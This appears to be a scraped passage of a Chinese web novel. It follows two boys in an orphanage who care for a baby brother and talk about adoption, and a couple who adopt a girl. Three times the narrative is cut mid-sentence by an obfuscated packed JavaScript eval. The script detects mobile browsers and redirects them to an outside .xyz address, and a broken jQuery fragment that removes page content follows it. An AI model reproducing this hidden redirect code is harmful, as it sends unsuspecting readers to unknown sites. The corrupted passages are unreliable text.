抱着奶瓶,小家伙肥肥的肉腮帮鼓起,眼神晶晶亮,仿佛有一条毛茸茸的大尾巴在他身后欢快摇摆,满身的幸福都要具象化了。 顿时,姜旻也顾不得再和商砚辞争辩。两个男孩站在床前,专注地看着床上软乎乎的一小只崽快乐喝奶,彼此间的气氛都缓和不少。 “好吧。”半晌,姜旻嘟囔:“你等着,小乖一定会愿意叫我哥哥的!” “小禾。”商砚辞冷淡提醒。 “切,你就是想独占小乖……好好好,小禾行了吧!” 商砚辞没理他。 眉眼沉着秀朗的男孩像一棵葱郁笔直的小树,就那么安静地、温柔且执拗地望着自己脆弱柔软的弟弟。 …… 许岁禾和姜旻迅速地熟稔起来。 一大一小两个话痨驴头不对马嘴的交谈声盈满整个宿舍。 商砚辞望着小乖眉开眼笑的小模样,默默忍了。 不过,姜旻的到来对商砚辞来说,也不全都是坏事。 虽然他还是对这个觊觎自己弟弟的小胖子看不顺眼,但宿舍里有人在这一点,确实方便了他不少。 至少他不必洗个手、刷个奶瓶,都必须得把许岁禾装进书包里抱到洗漱间。 当然,这仅限于短时间的托付。时间一长,忧虑心过重的兄长就会不可避免地感到心绪不宁。 时间在许岁禾“咿咿呀呀”的小奶音环绕里流水般逝去。 夜色笼罩大地,康安儿童福利院逐渐安静下来。 男生宿舍,3-09。 许岁禾打了一个大大的哈欠,圆润明亮的蓝眸染上一层水意,在灯光映衬下,宝石般剔透晶莹。 “小乖困了?”商砚辞低声轻哄:“那我们睡觉好不好?” “刚刚已经把脸蛋和小手小脚都擦过了,小乖现在干干净净的,可以直接睡觉。” 商砚辞将被子给许岁禾盖好,刚准备上床哄崽睡觉,却见小家伙转着小脑袋左右看了看,嘴巴一瘪,泪珠就大滴大滴落了下来。 ——妈妈呢? 好久好久没有看到妈妈了。 许岁禾委屈地想。 在许岁禾小小的世界里,妈妈和哥哥是重要的、缺一不可的安全感来源。 妈妈不见了——对一个懵懵懂懂的小孩子来说,这是一件与天塌了无异的大事。 商砚辞望着哭得委屈的小乖,沉默下来。 小小的婴儿无法用言语表达清楚自己的诉求,可商砚辞在这一刻,却忽然懂得了小乖为何而哭。 凄艳的红与幽邃的青在脑海中一闪而过,商砚辞一时之间,竟不知该如何开口。 “商砚辞,小禾哭了。” 姜旻提醒的声音惊雷般炸响,商砚辞强行忽略心底痛意,弯腰抱起哭成小花猫的许岁禾,嗓音干涩:“小乖,哥哥在呢。” 他耐心地晃着、哄着,可小家伙眼泪却还是越掉越多,哭得鼻尖通红,脸蛋湿漉。 不知过了多久,哭累了的小家伙慢慢安静下来,抽抽噎噎地揪住商砚辞衣角。 夜色深沉,月光昏晕。 稀疏寥落的星辰静静注视着广袤大地,注视着一切悲欢聚散和世事无常,千百年未变。 屋内。 灯光已熄。 许岁禾睡着了。 小小的孩子躺在兄长臂弯里,小手揪紧兄长衣角,像落水小兽紧抓着唯一浮木。 依恋且信任。 15. 福利院 时间如驹光过隙,转眼间,两个星期已然过去。 上午8:37。 康安儿童福利院。 吃完早饭的孩子们陆陆续续地走进活动室,或聚在一起分享日常,或找出玩具打打闹闹,氛围轻松而愉快。 忽然。 “重大消息!重大消息!” 一个精瘦精瘦的男孩风风火火地跑进活动室,还没站稳,就大声嚷嚷道:“明天有人要来咱们福利院!” 他这一声好似雷霆乍惊,裂石穿云,活动室里当即安静下来。 ——明天会有人来福利院。 哪怕有些孩子一时没能理解,在旁边朋友的小声解释之下,也很快反应过来。 然后,他们的神色也变了。 轻快松弛的氛围荡然无存,神情各异的孩子们面面相觑,眸底有什么东西悄然生长。 良久,一个扎着双马尾的女孩最先开口:“范明川,你怎么知道明天会有人来咱们福利院?” “我当然知道!”精瘦男孩,即范明川得意洋洋地挺起胸膛:“我可是有千里眼和顺风耳的福利院百晓生,一点消息而已,轻轻松松。” “千里眼?”双马尾嘲笑地看了看范明川鼻梁上架着眼镜,说道:“戴眼镜的千里眼?” “你懂什么!”范明川跳脚:“这是我的法器!法器你懂吗?很厉害的!!” “少看点小说吧。”双马尾脸上写满了“你看我像个傻子吗”的嫌弃。 眼见范明川又要抓狂,双马尾身边坐着的短发女孩连忙握住双马尾的手,主动开口调停道:“好了好了,范明川,大家都知道你很厉害。” 范明川的神色好看一些。 “所以你到底是从哪儿听来的消息?靠谱吗?” “当然靠谱。”范明川装模作样地整整衣领,左右看了看,朝角落里的大木椅一指:“我要坐那个。” 双马尾怒目而视。 “我的消息绝对是独一份的!”范明川强调。 僵持了会儿,几个男孩走过去,把大木椅搬了过来。 范明川像皇帝坐龙椅一般,郑重地坐上大木椅。 他清了清嗓子,在数道催促的视线中,慢吞吞开口:“这个消息呢,是我从志愿者姐姐那儿听来的。” 闻言,孩子们的神色更为认真。 康安儿童福利院的工作人员本就不足,前些日子又因为绥禧妇产医院爆发污染一事,新送来了许多孩童,人手愈发紧张。 好在如今恰逢暑假,杭院长发布公告,承诺会给来帮忙的志愿者们盖章、发证明,所以很快,数位大学生欣然前来报道。 虽然这些大学生志愿者们大多都是在活动室陪小朋友们玩——简称看孩子,但也有几个是在杭院长的办公室里面帮忙,负责整理文件什么的。 如果是后面这类志愿者,他们在办公室里听到了什么消息,闲暇时间交谈时,正巧被范明川听到…… 短发女孩神情不禁愈发专注:“明天来的人是什么样的?他们有什么要求吗?” “一对夫妻。”范明川道:“他们好像是想要个女孩。” 话音刚落,活动室里,好几个小女孩的眼睛都亮了起来。 “还有其他的吗?比如说他们喜欢什么性格的?高个子还是矮个子?”双马尾迫不及待地问道。 “不知道。”范明川一耸肩:“志愿者姐姐就说了这些。” “是你没听到吧?”双马尾狐疑。 范明川:“爱信不信。” “那你还摆出一副知道好多好多消息的样子……” “那是高深莫测,有高人风范!你不懂。” “我才不想懂呢!你这点消息根本就不值得我们给你搬椅子!过一会儿杭奶奶她们肯定也会说的!” “诶诶诶——消息你们已经听了,这椅子现在是我的了,不许抢——” 打打闹闹的斗嘴声传来,活动室里再次恢复了热闹。 可是,又好像和先前有了些许不同。 …… 上午8:55。 商砚辞抱着胖嘟嘟的小奶娃走进活动室。 一进来,商砚辞就敏锐地察觉到气氛有点不对劲。 似乎……有些躁动。 眉眼轮廓深邃俊朗的男孩冷静地扫视一圈,眸色微沉。 发生了什么? 他下意识地将臂弯里的小奶娃往怀抱深处藏了藏。 这是一个满含保护欲的动作。 “怎么了?”走在商砚辞身旁的姜旻跨出几步后,见商砚辞没跟上来,转身疑惑道:“小禾又闹腾了?” “嗷!” 商砚辞还没开口,被诬蔑的许岁禾就先不乐意了。 小家伙鼓起包子脸,蓝眼睛凶巴巴地瞪向姜旻,跟只炸毛小猫似的,奶凶。 姜旻忍不住露出笑容:“呦,你还不乐意了,我说的可都是实话。” “不知道是谁,晚上不睡觉,早上不起床,一抱起来就哼哼唧唧。”他指指活动室墙上挂着的时钟:“看看都几点了,要不是你赖床,我和你哥早就吃完饭过来了。” “呜嗷!” 许岁禾不服,没理也要辩三分:“嗷呜呜!” “小乖又不是故意的。”姜旻刚要继续逗崽,商砚辞却先一步回护道:“他还那么小,什么都不懂。况且,昨晚是你非要和他闹,惹得小乖过了平时睡觉的点都还没睡着。” 昨晚确实是姜旻理亏,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13828470|146405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 另一句话他可就不赞成了。 “你瞧瞧他,”姜旻悲愤道:“他像是什么都不懂的模样吗?” “他聪明得很!” 被指控的许岁禾无辜地歪歪小脑袋。 蓝汪汪的大眼睛清澈剔透,鸦黑浓长的眼睫小扇子似的扑扇着,肉感圆润的小脸上奶膘软软,可爱得不可思议。 “聪明怎么了?聪明才好呢。”立时就有人声援可爱的小胖崽:“小禾这么乖、这么可爱,你昨晚闹他就算了,今天还冤枉他。” 姜旻不可思议:“你们还讲不讲理了?我们说的是一件事吗?” 双马尾瞪他:“你管我!” 短发女孩也不满:“姜旻,你不要欺负小禾。” “……” 姜旻无言以对。 许岁禾身为康安儿童福利院里目前为止年龄最小的孩子,在短短两周之内,就凭借着奶甜精致的小脸蛋和活泼天真的性格,顺利成为了康安儿童福利院的吉祥物,连带着商砚辞都大受欢迎——毕竟每个想和小吉祥物玩的孩子都要先经过兄长大人的同意。 说来也好笑,商砚辞这两周,听得最多的话竟然是——小禾哥哥,我可以和小禾玩一会儿吗? 总之,在人见人爱的小吉祥物面前,姜旻一败涂地。 大获全胜的小胖崽眉眼弯弯地笑起来,小奶音兴奋:“哇呀!” 商砚辞无奈地摸摸弟弟柔软的头毛,语气宠溺:“知道了,小乖最厉害了。” 瞧着眉开眼笑的小胖崽,姜旻忍不住小声嘀咕:“等着,待会儿回到宿舍,我再好好收拾你。” 商砚辞敏锐抬头。 姜旻瞬间闭嘴。 “……” 商砚辞无语。 要不是经过这两周的相处,他知道姜旻确实是没有什么坏心思的,不然,单凭姜旻最后那句话,他就得警惕许久。 “小禾哥哥,你快过来坐。”这时,双马尾主动指了指身旁的空椅子:“专门给你留的呢。” “给小禾留的吧。”姜旻嘟囔。 双马尾瞪他一眼,没搭理他:“你们来晚了,刚刚范明川说了一件大事!” 听到自己的名字,痛失龙椅的范明川立即精神起来:“我这儿可都是最新最全的消息!” 商砚辞抱着许岁禾在椅子上坐下,闻言抬眸。 姜旻也拖了个椅子凑过来,好奇道:“什么大事?” “明天有人要来咱们福利院!要收养一个女孩!”范明川这回儿没再卖关子,大声道。 收养? 商砚辞一怔。 在康安儿童福利院生活的第十五天,他终于意识到某一个重要的问题。 “……收养,可以拒绝吗?” 16. 福利院 “拒绝?!” 双马尾惊愕地瞪圆眼睛,看向商砚辞的目光满含不解:“为什么要拒绝?” “只要被收养,我们就能有家了!”她的眼底写满憧憬:“到那时,我们就会有疼爱我们的爸爸妈妈,会住上大房子,还可以拥有很多很多的新衣裳和新玩具!” “我做梦都希望能被收养呢!” 短发女孩和范明川也忍不住纷纷点头。 “小禾哥哥,我记得你是不久前才到福利院的,所以你可能不知道,收养真的是一件很重要很重要的事情。” 短发女孩想了想,细细解释道:“也许你不在意大房子和新衣裳新玩具,但是学校你知道吧?如果我们能被收养,就可以从我们现在所在的学校转去其他学校。” 说到这里,面庞稚嫩却已初见秀美的女孩眸中闪着明亮的光:“听说有的学校特别厉害,里面的老师都是什么博士生呢。而且他们还会组织旅游!去各个地方参观学习!” “我马上就要十岁了,却还没有出过浔海市。中洲那么大,好想知道浔海市外面是什么样子的……” “还能是什么样子的?都是中洲,外面和浔海市能有多大的不同?” 自从提到‘收养’一事,就异常沉默的姜旻冷不丁开口,语气烦躁:“被收养也不一定是件好事……” 一向笑嘻嘻的小胖子沉着脸,眼底郁躁难掩。 而对于姜旻这几句明显带着强烈个人情感的话语,哪怕是脾气最为冲动的双马尾,竟也没有激烈反驳。 商砚辞侧眸,默默将他们的反应纳入眼底,心底若有所思。 “呜~” 这时,一直歪着圆滚滚小脑袋安静倾听的许岁禾,突然发出一个软软的小奶音,莲藕般白嫩圆润的胖胳膊伸呀伸,努力去碰一旁的姜旻。 姜旻愣住,商砚辞却立即反应过来。 深邃冷静的黑眸泛起浅淡笑意,商砚辞把怀中的小胖崽往姜旻那边举了举。 下一刻,肉乎乎的小短手“啪叽”一声落在了姜旻的胳膊上。 呀,没控制好力度。 小胖崽有点心虚地收回胖爪爪,小奶音不由得更甜上几分:“呜呀~” 不伤心~ 粉雕玉琢的小娃娃睁着澄净圆润的蓝眼睛,一举一动天真稚气,带着纯粹且直白的关切。 姜旻顿时忘记了刚刚那一声“啪叽”,神色惊诧且感动:“小禾……” 他看向许岁禾的眼神简直就像是一个一直备受猫咪冷落的铲屎官,突然有一天,猫咪亲近地凑过来蹭蹭贴贴,铲屎官当即再也顾不得其他,只满脑子都是“洒家这辈子值了”。 许岁禾被姜旻这般殷殷望着,顿时,小脑袋瓜顶上好像有一盏灯泡“biu”地亮了起来。 没有犹豫,胖乎乎的小短手再次伸出。 当然,这次是轻轻地落下。 “咿呀~” 不怕~ 带着肉窝窝的小手软乎乎嫩噜噜,乖乖搭在姜旻手臂上,安慰意味十足。 姜旻更加感动:“小禾……” 但还不待他倾诉更多,商砚辞就又把许岁禾揽回了怀里。 “诶——”手臂上柔软温热的触感突然离开,姜旻下意识出声挽留。 “你刚刚还在计划着回宿舍收拾小乖。”商砚辞抱着软乎乎的弟弟,淡淡提醒道。 姜旻讪然,抬起的手臂默默放下。 商砚辞这才满意,腾出一只手轻轻摸了摸弟弟圆润绵软的胖脸蛋,夸赞道:“小乖真棒。” “呀~” 那当然啦~ 许岁禾美滋滋地用胖脸蛋回蹭兄长掌心,一边蹭着,一边还不忘瞅瞅姜旻。 姜旻立即摆出可怜巴巴的表情。 许岁禾却没有再次伸爪安慰。 长而浓密的眼睫扑扇,许岁禾跟小狗崽似的,认真嗅闻了一番后,确定姜旻身上那股似乎只有他能闻到的、灰灰惨惨的味道淡去了,便像是完成了什么大事一般,心满意足地顶着乱翘头毛,缩进自家兄长单薄却安全感满满的怀抱里。 姜旻傻眼:“这就完事儿了?!” “那当然了,小禾都安慰你了,你还想要怎么样?” 姜旻和许岁禾兄弟俩互动时,范明川三人就在一旁安静地看着。 直到此刻,范明川终于忍不住开口:“难道你还想要我们也来安慰安慰你?” 姜旻立即露出一种欲言又止的奇异神色。 “得了吧。”范明川死鱼眼:“你以为只有你嫌弃吗?我们也嫌弃。” 短发女孩和双马尾连忙点头。 不过,似是觉得这样有点不太好,短发女孩当即转移话题:“小禾不愧是咱们福利院里最讨人喜欢的小朋友,都知道安慰别人了,真乖!” “是啊,小禾也太聪明了吧!” 双马尾笑嘻嘻地补充道,落在许岁禾身上的目光柔和且满含喜爱。 两个女孩语气真诚神情认真,明显是发自肺腑之言。许岁禾听完后,顿时昂首挺胸,眼神晶亮。 那高兴的小模样,活脱脱一只狂摇尾巴的快乐小狗,浑身上下都写满了“喜欢、多说”几个大字。 短发女孩和双马尾都快要被快乐小狗给萌晕了,哪里还能拒绝,一连串的夸奖立时如机关枪一般“突突突”地冒了出来。 商砚辞抱着满身欢快的小朋友,一开始眼中还暗藏骄傲,但随着“聪明”一词的多次出现,眸光不由得渐渐沉了下去。 他垂眸看向扑闪着蓝眼睛,乐颠颠望着短发女孩和双马尾的许岁禾。 聪明…… 小乖确实很聪明,尤其是这两个星期,他明显能感觉出,小乖可以听懂的词句越来越多了,给出来的回应也越来越清晰…… 可是,这真的是正常的吗? 商砚辞脑海里控制不住地再一次浮现出那些早已没了痕迹,却仍阴魂不散的银蓝色鳞片的模样。 “你们还没有回答我的问题。”他忽地出声:“收养是可以拒绝的吗?” “当然可以!”姜旻急忙说道:“杭奶奶很尊重我们的意愿的,你想拒绝就拒绝。” “其实不被收养也没有什么不好。福利院对我们很好,杭奶奶更是特别特别的好。” 他犹豫了一下,似是想说些什么,却被打断。 “孩子们,安静一下。” 清脆的拍掌声传来,一个熟悉的工作人员领着几个大学生志愿者,面带笑容地走进来:“这里有一件事情要和大家说。” 商砚辞闻声抬眸,心中有了预感。 果然。 “明天会有叔叔阿姨来我们福利院,大家一定要好好表现啊。” 工作人员笑眯眯地说道。 …… 福利院的生活很是规律,上午的活动课结束,就是午饭时间。 商砚辞抱着许岁禾,和往常一样,向食堂走去。 姜旻、范明川几人就走在他身侧。 打完饭,大家坐在一起准备吃饭。 商砚辞刚把奶瓶递给躺在旁边空椅子上的许岁禾,就听见姜旻有些犹豫的声音响起:“商砚辞……” 商砚辞等许岁禾抱稳奶瓶后,才转身看向他:“你想说什么?直说就好。” 今天一上午,姜旻一直心不在焉,数次望着商砚辞和许岁禾欲言又止。 明显知道些什么的范明川三人都替他着急,但商砚辞却始终镇定,不紧不慢的。 此时开口,他的声音依旧平静且沉稳。 姜旻被他感染,眼中迟疑散去不少:“我有事跟你说。” 许岁禾迅速扭头,哪怕他正抱着奶瓶咕咚咕咚喝奶呢,那股要凑热闹的跃跃欲试劲儿,仍旧生龙活虎地从两只水汪汪的蓝眼睛里冒了出来。 商砚辞无奈叹气。 “你说。”他一边回答姜旻,一边把蠢蠢欲动小胖崽的奶瓶拿开,放好,然后抱崽入怀。 终于能看到具体情况的许岁禾满意地摇头晃脑:“呀呀!” 快说! 被香软可爱的小家伙眼巴巴瞅着,姜旻神情一顿,眼中浮现出笑意,紧绷的声音也放松许多:“商砚辞,我知道你不想被收养,不想和小禾分开。” “但你听完小梅花的话之后,肯定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13828471|146405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 犹豫了,不知道自己该怎么选。” 小梅花就是短发女孩。 “没错。”商砚辞没有反驳。 男孩神色平静,黑眸中是与年龄不符的成熟与郑重:“小梅花难道说得不对吗?福利院是很好,可是很多东西福利院也确实没有办法提供。” “她说得对。” 姜旻抿唇:“可是万一遇到了不好的收养人呢?” “你知道我为什么一个人住一间宿舍吗?” 他道:“因为我是被退回来的小孩。” 商砚辞微愣。 “我一出生就被扔在了福利院门口,是杭奶奶把我捡回来的。”姜旻说道:“六岁的时候,我被一对夫妻收养。他们没有孩子,把我带回去是想让我帮他们养老。但两年后,我八岁时,我的‘妈妈’怀孕了。” 商砚辞意识到什么。 “‘妈妈’生下一个弟弟,他们不想要我了。”姜旻讲到这里,微微停顿稍许,将许多细节掠过后,继续讲道:“后来是杭奶奶把我接回来的。” “我那时很不适应,所以杭奶奶特意为我腾出来一间宿舍。” 他看向商砚辞:“如果小禾也被这样的收养人收养了呢?商砚辞,你能接受吗?” 商砚辞沉默下去。 “……其实收养人也有好人。” 一片安静中,双马尾小声道:“之前和我们住一个宿舍的两个姐姐都被收养了,其中一个姐姐上个月还回来过。她都已经被收养了好几年,她爸爸妈妈一直对她特别特别好。另一个姐姐也回来看过我们,她生活得也很好。” “可是万一小禾就是碰上了不好的收养人,怎么办?”姜旻反问。 “你也说是万一,说不定小禾碰上的是好的收养人,那不就万事大吉了?”双马尾不服:“而且还有杭奶奶他们呢,他们会帮我们选出合适的收养人的。” 姜旻:“但人是会变的。” “我的‘爸爸妈妈’不就变了?他们最开始也不是后来那样的,也对我很好。” 双马尾无言以对。 “好了好了,别说这些了。”小梅花连忙帮好朋友打圆场。 最后,她看向商砚辞,认真道:“小禾哥哥,其实还是看你怎么想。” “我是愿意试一试的。”小女孩眼中划过坚定。 商砚辞抱着小胖脸上带着点迷惑的许岁禾,眸色复杂,沉默不语。 …… 吃完饭,喝饱奶,就可以回宿舍午休了。 女生宿舍在男生宿舍前面,范明川的宿舍又在男生宿舍一楼,因此,商砚辞他们几乎是同时和双马尾、小梅花还有范明川分开的。 “明天来的收养人想要收养个女孩,商砚辞,你不用着急,还有很多时间,你可以好好想想。” 踏进3-09,和许岁禾唠了一路的姜旻突然看向商砚辞,说道。 商砚辞沉默点头。 康安儿童福利院安排的午休时间是12:30-14:00。 虽然不强制每个孩子都必须睡觉,但这段时间内,大家需要保持安静,不能打扰想要午睡的孩子休息。 所以,整个宿舍楼十分安静,只闻窗外蝉鸣,和风拂树梢的沙沙声。 商砚辞躺在床上,身侧是睡得酣甜的小胖崽。 心中思绪繁杂,商砚辞始终未能入睡,忍不住睁开眼,侧身去看自家弟弟。 醒时圆溜溜亮晶晶的眼睛闭合,丁点大的小胖手虚握,乌发柔软,脸蛋圆润。 很乖。 也很脆弱。 他不会说话,不会走路,不会逃跑,甚至连牙齿都还没长出来。 如果有人欺负他,他连咬人都咬不疼。 这么柔软易碎的小家伙,他怎么能放心交到别人手里呢? 哪怕是看起来再好、再善良的人,商砚辞也不放心。 就像姜旻说的,人是会变的。 商砚辞唯一相信的,只有自己。 可是。 商砚辞看向床角有些旧的布娃娃、褪了色的玩具…… 眉眼俊秀稚嫩的男孩唇角不自觉紧抿。 17. 福利院 第二日,碧空万里,骄阳似火。 两位收养人如约而至。 商砚辞抱着不老实探头探脑的小胖崽,坐在空气中弥漫着躁动与激荡的活动室后方,神色异常平静。 “喂……” 姜旻收回观察两位收养人的视线,瞥见商砚辞的神色,忍不住犹豫地问道:“你还好吗?” “我没事。” 商砚辞将闻声仰头朝自己看来的许岁禾抱稳,耐心地将那张牙舞爪的乱翘头毛理顺,语气沉静而镇定:“虽然杭奶奶他们没有明说,但范明川听来的消息应该没有出错。” “这两位收养人从进门到现在,大部分目光都落在了女孩们身上——他们有很大可能是想要收养一个女孩。” 姜旻愣住。 他迟疑地抬头打量:“这样吗……” 商砚辞看他一眼,没接话。 倒是许岁禾,这只瞅自家兄长没瞅出来什么,反而被顺了毛毛的小胖崽,边“嗷呜”着抱住兄长手掌,边扭头看向呆愣愣的姜旻:“啊呀呀!” 听哥哥的话! 哥哥可聪明了,你要是没弄明白,就先听哥哥的话嘛。 崽不会笑话你哒~ ——因为崽也不懂。 猫猫理直气壮.jpg 姜旻看着这个对他家兄长有八百米厚滤镜的小家伙,扶额叹气:“行行行,知道了。” “不过你哥这么在意你,现在还能心平气和的……估计他早就想明白了……”姜旻摸摸下巴,神情若有所思。 “算了。” 他索性放弃去为难自己的脑子:“可爱的小禾小朋友,我们来唠嗑吧。” “刚刚范明川来找我了,你知道他跟我说什么了吗?” “呜?” “他说昨天一楼有两个男生打起来了……” 小胖子和小胖崽就这么你一句我一句地唠了起来。 商砚辞看着眉飞色舞的自家弟弟,微不可察地叹了口气。 眸中氤氲笑意之下,是难得的迟疑与踌躇。 其实,事实与姜旻所猜测的恰恰相反。 ——商砚辞没有想明白。 或者说,正是因为太过在意,反而更为敬畏、顾忌。 商砚辞不知道该怎么选。 姨母逝去后,小乖就是他唯一的牵挂,是他甘愿肩负一生的责任。 他既希望小乖永远无忧无虑,也祈盼小乖一路有繁花相伴。 既要,又要。 说到底,贪婪才是商砚辞犹豫的根源。 他总想着能让小乖得到最好的一切,可现实却要他二选一。 而且……小乖的想法呢? 小乖想要什么? 他替小乖做出的选择,真的是小乖想要的吗? 耳畔小奶音甜糯,商砚辞望着弟弟天真烂漫的小胖脸,终是忍不住又叹了一口气。 “呀?” 商砚辞刚收拾好心情,许岁禾却小狗崽般警觉地竖起耳朵。 有声音! 哥哥,你怎么啦? 小家伙蓝宝石一样漂亮的眼睛里闪着困惑:“呜嗷!” 和崽说! 崽虽然帮不上忙,但崽可以听哒。 很有自知之明的小胖崽骄傲昂头。 商砚辞失笑。 “好可爱的小朋友。” 他还未开口,一道温柔女声先一步响起:“是男孩子吗?” “是男孩子。褚夫人,小禾刚满一月龄不久,抱着他的是他的哥哥小辞,两个孩子感情很好。”杭院长笑眯眯道。 褚夫人有一头乌黑秀发,容颜姣好,身材纤弱,眉眼间带着些病色,衬得她看起来愈发弱不胜衣。 听完杭院长的解释后,褚夫人眼中划过一抹遗憾。 “南雨,把小礼物拿给几个小朋友?”这时,一旁的褚先生笑着提醒道。 褚夫人颔首,从褚先生手里提着的袋子中拿出三个包装精美的小盒子,挨着递给许岁禾、商砚辞和姜旻。 “几块饼干,大家拿着吃。”褚夫人神色柔和:“特别小的小朋友也可以尝一点点,但只能尝一点点哦。” 许岁禾两只胖爪爪捧着盒子,眼睛亮亮地盯着漂亮姨姨,小包子脸上笑容又乖又甜:“呀~” 好~ “真可爱。”褚夫人轻轻揉了揉小胖崽毛茸蓬松的黑发,眸中笑意愈甚。 “褚夫人,还有其他小朋友在前面等着呢。” 杭院长目光安慰地看了眼身体微微紧绷的商砚辞,笑着出声劝道:“我们继续往前走?” “好。”褚夫人收回手指,声音温柔:“走吧。” 褚夫人、杭院长一行人继续往前,去给其他小朋友送小礼物。商砚辞看着他们的背影,心底稍松。 “咿呀!” 忽地,伴着欢快亲昵的小奶音,商砚辞胸口一紧。 他顺势低眸。 胖墩瓷实的小家伙眉眼弯弯,揪住他胸口的衣衫,眼神渴盼。 见此,商砚辞无奈地点点小家伙鼻尖:“知道了。” 说罢,他拿起不知何时被许岁禾放在圆乎乎小肚皮上面的精美小盒子,拆开。 不大的盒子里面,满满当当地塞着五块印着可爱小动物图案的、独立包装的饼干。 商砚辞取出一块,撕开透明包装袋,掰下小小一点之后,就又把剩下的裹好放回了盒子里。 “呀呀!” 眼巴巴的许岁禾心急催促。 “别急。” 商砚辞把只能称之为饼干渣渣的饼干碎块,喂进嗷嗷待哺的小胖崽嘴巴里:“含一会儿,不能直接咽下去。” “呜……” 没牙的小胖崽听话地抿呀抿,最后还是抱起奶瓶喝了一口,才完美解决。 刚放下奶瓶,他就又眼巴巴地去瞅兄长。 “不能再吃了。”这回儿,商砚辞对小胖崽的眼神攻势无动于衷,冷酷拒绝道:“褚夫人刚刚都说了,只能尝一点。” “呜!”许岁禾扑腾扑腾小手小脚,又用软乎乎小巴掌攥住兄长手指,仰起的胖脸蛋奶乖奶乖的,试图用可爱来改变兄长的想法。 可惜,兄长心如铁石。 他低头欣赏了一番自家弟弟的可爱举动后,就慢悠悠地把桌上许久未动的书往后翻了一页,继续阅读。 “嗷!” 努力无果的小胖崽恼羞成怒,小脑袋一扭,生气了。 商砚辞垂眸瞧了一眼,唇角漫起笑意。 他一点也不着急。 这只小胖崽安静不了多久的。 果然,没一会儿,许岁禾就又把小脑袋扭了回来,“咿咿呀呀”地控诉起来。 “小乖还没长出牙齿,咬不动饼干。” 听完一大长串的咿呀控诉,商砚辞耐心解释道:“这些饼干小乖可以慢慢吃,没有人和小乖抢。” 许岁禾睁着又圆又亮的蓝眼睛,盯着兄长看了会儿,哼哼唧唧地接受了:“呜嗷嗷~” 好叭,我同意了。 …… 今天对许岁禾来说,并没有什么太大的不同。 依旧是哥哥看书,他在哥哥怀里和姜旻唠嗑,时不时还可以抱着奶瓶喝一口奶,润润嗓子。 等唠累了,扯扯哥哥衣服,他就会被哥哥放到活动室里专门为他准备的小床上,安安稳稳地睡一觉。 睡醒了,再玩一会儿,差不多就到了吃饭的点。 被哥哥抱着走向食堂的小朋友,戴着绣着吐舌头笑的萨摩耶帽子,小脸白嫩,神情天真,无忧又快乐。 …… 金乌西坠,树影婆娑。 许岁禾躺在床上,两只短胖小手搭在小肚腩上,正一脸严肃地思考人生。 商砚辞则是把晾干的衣服仔细叠好,放进衣柜里。 吱呀—— 柜门关好,商砚辞刚转身,就见宿舍门被一把推开,姜旻急匆匆走进来:“商砚辞,小禾,褚夫人他们要收养的孩子定下来了!” 是小梅花。 褚夫人和褚先生他们只有一个女儿。 褚夫人身体不好,不能再生育了,而他们的女儿却闹着想要一个妹妹。所以,褚夫人他们就想收养一个孩子来陪女儿。 “褚夫人他们很有钱,哪怕他们之后——”姜旻倏地截断话音。 商砚辞把好奇探头的小胖崽抱起来:“至少小梅花想去中洲各处看看的愿望可以实现了。” “是啊。”姜旻抿唇:“她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13828472|146405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也可以转学了。” “褚夫人看起来很温柔,褚先生虽然有点沉默,但也是笑眯眯的。而且他们还记得给我们带小礼物……” 他喃喃自语,不知道是在说服谁:“他们应该都是好人。” 商砚辞听着,沉默须臾,有点僵硬地安慰地拍了拍姜旻肩膀。 倒是许岁禾,小家伙扑扇着浓长眼睫,听了半天之后,认真发表意见:“呜呜呀呀!” 漂亮姨姨是个好人! 商砚辞若有所觉。 他看着声音奶呼呼的弟弟,掩去眼底思绪,想了想,说道:“姜旻,还有杭奶奶他们在呢。若是事情最终还是到了无可挽回的地步,小梅花还可以回来。” “嗯!”姜旻想到自己,神色振奋几分:“你说得对!” …… 小梅花被收养一事,说大也大,说小也小。 最不适应的莫过于双马尾。 只是,福利院的孩子见惯了离别,再加上她也知道,对小梅花来说,被褚夫人他们收养是一件好事。 慢慢地,她也就适应了没有小梅花陪伴的生活。 商砚辞却被因收养一事而产生的抉择问题困住了。 他知道,康安儿童福利院位置偏僻,名声不显,也许短时间内根本就不会有合适的收养人过来。 但他总忍不住去想。 “时间还长呢,你不要那么为难自己。”后来,发现异常的姜旻安慰道:“说不定直到小禾学会说话,都还没有适合的收养人出现。” “嗷~” 第一个察觉出兄长情绪不对劲儿的小胖崽也乖乖把圆脸蛋压在兄长掌心上,蓝眼睛忧心忡忡:“嗷呜呜~” “小乖别担心。” 商砚辞总会在许岁禾湿漉漉的可怜目光之下溃不成军:“我会调整好心态的。” 